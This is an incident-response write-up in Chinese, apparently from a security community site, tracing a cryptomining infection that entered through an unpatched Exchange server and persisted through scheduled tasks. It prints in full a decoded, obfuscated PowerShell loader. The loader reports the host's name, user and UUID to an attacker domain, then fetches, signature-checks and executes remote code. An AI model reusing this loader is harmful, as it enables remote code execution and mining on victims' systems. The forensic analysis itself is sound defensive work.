应急实战 | 记一次日志缺失的挖矿排查

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 应急实战 | 记一次日志缺失的挖矿排查


感谢群友
@沉默树人老哥的投稿,感谢分享  。这篇文章详细记录了他在一次应急实战中对于日志缺失时对挖矿程序排查的过程,希望大家能够从中有所收获。


午后梦中惊坐起,电话一来要应急。那是我下了夜班在睡觉,然后来电话了,又要整应急了。急匆匆开电脑,打开手机看了一眼微信,两个现场的同事发在群里的图了。是日志。

  • “你那边什么情况,有点像哈希传递。”
  • “被挖矿了,但是这边的运维重装过主机。”
  • “我去,截下来样本没,排查完了吗?”
  • “一部分日志和样本截留下来了,但是还没排查完,帮忙看看怎么进来。”


PS:以下数据已经脱敏,聊天记录不会截图,只分享经验和思路,这是一次条件极为有限的排查。


0x01 确认到手情报

首先来看一下,同事手上有啥情报。

  • 1.在被感染主机上发现计划任务。
  • 2.拉取了主机上web日志,发现存在哈希传递。
  • 3.powershell下提取到了攻击样本。
  • 4.感染了10台左右主机,已经重装系统。
  • 5.暂时认定邮件系统为打击入口。


好吧,其实问题不大。【都被清光了】,我过去只是大概还原一下攻击过程、清理痕迹和写报告。


0x02 分析攻击行为

康康到底是咋回事,接下来一条一条情报来分析。

天融信的设备发出的告警如下:

一、确认打击点、利用点
1.常规排查

网络外连情况:无特殊情况。

开机启动项情况:没有自动项

最近启动程序情况:没有乱码程序启动

windows安全日志情况:

无新增用户、没有日志都是登陆,注销日志没有异常

2.计划任务排查:

计划任务名称:backball、backball1

启动路径结合下面的web日志可以看出是powershell下的一个乱码程序

触发器:在首次触发后,无限期地每隔02:00:00重复一次。


3.web日志

在web日志中,可以看见大量的POST请求,访问的是exchage邮件服务器。并且通过mailbox字段可以知道,已经泄露出了一个邮箱,攻击者应该就是从这里进来的。


二、还原攻击过程

三、攻击样本分析

1.先看沙箱分析

沙箱中已经存在这种恶意文件,也就是说之前有人提交过。

(1)发现一个外连地址 1.117.58.154,被标红了。

(2)该恶意文件可以检查宿主机的内存和网络接口,以此反虚拟机。

(3)开启端口并监听,获取系统时间。


2.powershell分析

其实只分析那个Powershell就够了,ps1文件解码出来太大了,如果需要请私信我。


解码后的ps1文件:

    powershell -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('xpVT7bCpITDUjAvmzli55WPVFPjQBos7o9/ZbbWzyeaKIn9NLJwvY6ad3rMGoXzT6mz+51VupKm5TQvk79oVK4QQDZErhr0szpUdW79j2WPhbmpZrwMdgmFHrqG6Np+InWy/V1acp09/W9x54mpQ1EHIos1+JhSrYPaq8WtsGW0=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.jus'+'anrihua.com';a($url+'/a.jsp?rep_20210713?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))


    大概就是:从这里能看出来大部分东西了,生成的exe也是能被杀的,分析也没啥意义


    0x03 总结

    通过分析得出,因为该服务器的exchange版本过低且没有进行补丁更新。被攻击者成功利用最近的exchange漏洞攻入,并利用计划任务的方法达到定时启动恶意挖矿程序和不死属性驻留主机。


    通过特征可以溯源出是cs的powershell马,然后将其解码可以知道它的行为。


    因为缺乏全流量设备的支撑,无法获取dns解析记录、相关IPS日志等监控记录,部分Windows日志也被重装丢失掉,只能到此为止。

    相关链接:

    //国外相关分析
    https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html
     //github记录木马表格
    https://github.com/sophoslabs/IoCs/blob/master/Trojan-LDMiner.csv
    //沙箱分析记录
    https://s.threatbook.cn/report/file/fae6a3a4e5b11cdc8a982798167de4c1aafd101cc8726ba520c420d1ef381a9d/?env=win7_sp1_enx64_office2013
    //powershell混淆解码
    https://www.freebuf.com/articles/system/181697.html 
    //解码ps1
    https://www.powershellgallery.com/packages/PowerSploit/3.0.0.0/Content/CodeExecution%5CInvoke-ReflectivePEInjection.ps1
    相关实践学习
    【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
    【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
    相关文章
    |
    5月前
    |
    运维 安全 数据可视化
    日志审查安排工具实战攻略:中小团队如何通过日志审查安排工具建立可控、安全的审查机制?
    在审计敏感时代,日志审查安排工具成为安全运维与合规管理的关键利器。它实现审查任务的流程化、周期化与可视化,支持多系统协作、责任到人,确保“可控、可查、可追”的日志治理。工具如板栗看板、Asana、Monday 等提供任务调度、问题闭环与合规对接能力,助力企业构建高效、透明的日志审查体系,提升安全与合规水平。
    |
    存储 运维 监控
    超越传统模型:从零开始构建高效的日志分析平台——基于Elasticsearch的实战指南
    【10月更文挑战第8天】随着互联网应用和微服务架构的普及,系统产生的日志数据量日益增长。有效地收集、存储、检索和分析这些日志对于监控系统健康状态、快速定位问题以及优化性能至关重要。Elasticsearch 作为一种分布式的搜索和分析引擎,以其强大的全文检索能力和实时数据分析能力成为日志处理的理想选择。
    830 6
    |
    Java Shell
    「sh脚步模版自取」测试线排查的三个脚本:启动、停止、重启、日志保存
    「sh脚步模版自取」测试线排查的三个脚本:启动、停止、重启、日志保存
    200 1
    |
    6月前
    |
    人工智能 运维 监控
    Aipy实战:分析apache2日志中的网站攻击痕迹
    Apache2日志系统灵活且信息全面,但安全分析、实时分析和合规性审计存在较高技术门槛。为降低难度,可借助AI工具如aipy高效分析日志,快速发现攻击痕迹并提供反制措施。通过结合AI与学习技术知识,新手运维人员能更轻松掌握复杂日志分析任务,提升工作效率与技能水平。
    |
    9月前
    |
    域名解析 应用服务中间件 网络安全
    阿里云个人博客外网访问中断应急指南:从安全组到日志的七步排查法
    1. 检查安全组配置:确认阿里云安全组已开放HTTP/HTTPS端口,添加规则允许目标端口(如80/443),授权对象设为`0.0.0.0/0`。 2. 本地防火墙设置:确保服务器防火墙未阻止外部流量,Windows启用入站规则,Linux检查iptables或临时关闭防火墙测试。 3. 验证Web服务状态:检查Apache/Nginx/IIS是否运行并监听所有IP,使用命令行工具确认监听状态。 4. 测试网络连通性:使用外部工具和内网工具测试服务器端口是否开放,排除本地可访问但外网不可的问题。 5. 排查DNS解析:确认域名A记录指向正确公网IP,使用`ping/nslookup`验证解析正
    333 2
    |
    Java 程序员 应用服务中间件
    「测试线排查的一些经验-中篇」&& 调试日志实战
    「测试线排查的一些经验-中篇」&& 调试日志实战
    198 1
    「测试线排查的一些经验-中篇」&& 调试日志实战
    |
    Java Maven Spring
    超实用的SpringAOP实战之日志记录
    【11月更文挑战第11天】本文介绍了如何使用 Spring AOP 实现日志记录功能。首先概述了日志记录的重要性及 Spring AOP 的优势,然后详细讲解了搭建 Spring AOP 环境、定义日志切面、优化日志内容和格式的方法,最后通过测试验证日志记录功能的准确性和完整性。通过这些步骤,可以有效提升系统的可维护性和可追踪性。
    357 1
    日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查
    日常项目运行日志,异常栈打印是不带traceId,导致排查问题查找异常栈很麻烦。
    |
    SQL 安全 数据库
    基于SQL Server事务日志的数据库恢复技术及实战代码详解
    基于事务日志的数据库恢复技术是SQL Server中一个非常强大的功能,它能够帮助数据库管理员在数据丢失或损坏的情况下,有效地恢复数据。通过定期备份数据库和事务日志,并在需要时按照正确的步骤恢复,可以最大限度地减少数据丢失的风险。需要注意的是,恢复数据是一个需要谨慎操作的过程,建议在执行恢复操作之前,详细了解相关的操作步骤和注意事项,以确保数据的安全和完整。
    643 0

    热门文章

    最新文章